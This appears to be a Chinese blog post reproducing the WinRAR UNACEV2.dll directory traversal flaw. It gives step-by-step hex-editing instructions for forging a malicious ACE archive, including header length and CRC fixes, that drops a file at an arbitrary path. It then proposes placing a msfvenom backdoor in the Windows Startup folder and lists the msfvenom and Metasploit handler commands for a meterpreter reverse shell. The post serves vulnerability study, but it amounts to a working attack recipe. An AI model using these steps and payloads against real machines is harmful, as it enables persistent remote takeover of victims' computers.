Winrar目录穿越漏洞

近日Check Point团队爆出了一个关于WinRAR存在19年的漏洞,用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件,当受害者使用WinRAR解压该恶意文件时便会触发漏洞。

漏洞描述

该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。动态链接库的作用是处理 ACE 格式文件。而WinRAR解压ACE文件时,由于没有对文件名进行充分过滤,导致其可实现目录穿越,将恶意文件写入任意目录,甚至可以写入文件至开机启动项,导致代码执行

复现准备

漏洞复现

新建一个shell.txt文件,用winace进行压缩。右下角设置为store full path。

使用acefile.py脚本检查head信息python check.py --headers shell.ace。查看hdr_crchdr_size的信息。

用010Editor打开压缩的文件。首先计算正常路径下filename的长度。得到长度为0x23,构造解压路径为d:\d:\shell.txt,将之前的路径替换,并修改0x23的值为所构造的路径长度。

修改完这两个后再修改hdr_size的信息。起始位置在0101处,结束位置为路径处。得到0x2E。修改之前通过脚本得到的hdr_size值。

保存后再运行python check.py --headers shell.ace得到新的hdr_crc值,修改之前的值。

现在已经构造成功,解压文件,会在d盘下存在shell.txt文件。

小结

此漏洞可配合msf生成exe后门,解压到C:\ProgramData\Microsoft\Windows\Start Menu\Programs目录下,当机器重启时执行exe,有很大的安全隐患。

1
2
3
4
5
6
7
8
9
10
11
12
13
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.137 LPORT=4444 -f exe > shell.exe

msf > use exploit/multi/handler

Msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > show options

msf exploit(handler) > set lhost 192.168.0.109

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit
Author: Sys71m
Link: https://www.sys71m.top/2019/03/20/Winrar目录穿越漏洞/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.